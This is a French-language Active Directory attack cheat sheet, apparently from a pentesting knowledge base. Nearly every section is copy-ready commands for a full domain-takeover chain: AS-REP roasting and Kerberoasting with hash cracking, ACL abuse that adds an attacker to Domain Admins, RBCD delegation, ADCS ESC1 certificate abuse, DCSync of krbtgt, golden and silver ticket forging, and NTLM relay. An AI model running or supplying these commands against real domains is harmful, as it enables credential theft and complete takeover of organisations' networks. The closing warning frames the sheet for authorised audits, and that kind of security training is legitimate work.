---
title: Attaques Active Directory
description: "Kerberoast, ACL, délégations, ADCS et DCSync : la chaîne d'attaque d'un domaine."
category: ad
kind: technique
tags: [kerberos, acl, adcs, dcsync, privesc]
level: advanced
updated: 2026-11-08
order: 4
aliases: ["ad attacks", "domain takeover", "kerberoasting"]
---

## Énumération initiale

```bash
# Utilisateurs, groupes, partages
enum4linux-ng -A 10.10.10.10
nxc smb 10.10.10.10 -u '' -p '' --users --shares

# LDAP anonyme
ldapsearch -x -H ldap://10.10.10.10 -b 'DC=domain,DC=local' '(objectClass=user)'

# Policy de mots de passe
nxc smb dc01.domain.local -u user -p 'Password' --pass-pol
```

## AS-REP roasting

```bash
# Comptes sans pré-authentification
impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 \
  -format hashcat -no-pass -outputfile asrep.txt

hashcat -m 18200 asrep.txt rockyou.txt
```

## Kerberoasting

```bash
# Comptes avec SPN
impacket-GetUserSPNs domain.local/user:Password -dc-ip 10.10.10.10 \
  -request -outputfile kerb.txt

# Alternative Windows
Rubeus.exe kerberoast /outfile:kerb.txt

hashcat -m 13100 kerb.txt rockyou.txt
```

> [!TIP]
> Un compte de service avec un mot de passe faible donne souvent accès à un serveur entier. Cherche les SPN sur les comptes humains, pas seulement sur les comptes `svc_`.

## ACL abuse

Relations courantes :

| ACE | Effet |
| --- | --- |
| `GenericAll` | Contrôle total sur l'objet |
| `GenericWrite` | Modifier les attributs |
| `WriteDacl` | Modifier les permissions |
| `ForceChangePassword` | Réinitialiser le mot de passe |
| `AddMember` | Ajouter un membre à un groupe |

```bash
# Forcer un changement de mot de passe (impacket)
impacket-changepasswd 'domain.local/user:Password@dc01' -newpass 'NewPass123!' \
  -altuser victim -altpass 'OldPass'

# Ajouter un compte à Domain Admins (avec droits)
net rpc group addmem "Domain Admins" attacker -U 'domain.local\user%Password' -S dc01
```

## Délégations

```bash
# Unconstrained delegation : chercher les machines
nxc ldap dc01 -u user -p 'Password' --query '(userAccountControl:1.2.840.113556.1.4.803:=524288)' samaccountname

# Resource-based constrained delegation (RBCD)
impacket-addcomputer 'domain.local/user:Password' -computer-name 'EVIL$' -computer-pass 'Pass123!'
impacket-rbcd 'domain.local/user:Password' -dc-ip 10.10.10.10 \
  -delegate-from 'EVIL$' -delegate-to 'DC01$' -action write
```

## ADCS

```bash
# Énumérer les templates vulnérables
certipy find -u user@domain.local -p 'Password' -dc-ip 10.10.10.10 -vulnerable

# ESC1 : template qui autorise le SAN + enrollment
certipy req -u user@domain.local -p 'Password' -ca CA01 -template VulnTemplate \
  -upn administrator@domain.local -dc-ip 10.10.10.10

# Authentification avec le certificat
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
```

## DCSync et tickets

```bash
# DCSync (droits de réplication)
impacket-secretsdump 'domain.local/user:Password@dc01' -just-dc-user krbtgt

# Golden ticket (après compromission du krbtgt)
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-... \
  -domain domain.local Administrator

# Silver ticket (service précis)
impacket-ticketer -nthash SERVICE_HASH -domain-sid S-1-5-21-... \
  -domain domain.local -spn cifs/fileserver.domain.local Administrator
```

## NTLM relay

```bash
# Cibles sans signature SMB
nxc smb 10.10.10.0/24 --gen-relay-list relay.txt

# Relais vers LDAP(S) / ADCS
impacket-ntlmrelayx -tf relay.txt -smb2support
impacket-ntlmrelayx -t ldaps://dc01 -smb2support --escalate-user user
```

> [!WARNING]
> Certaines actions sont destructrices ou irréversibles : modification d'ACL, DCSync, golden ticket, reset de mot de passe. En audit, privilégie la preuve de faisabilité (lecture, énumération) et fais valider toute action qui modifie l'annuaire.
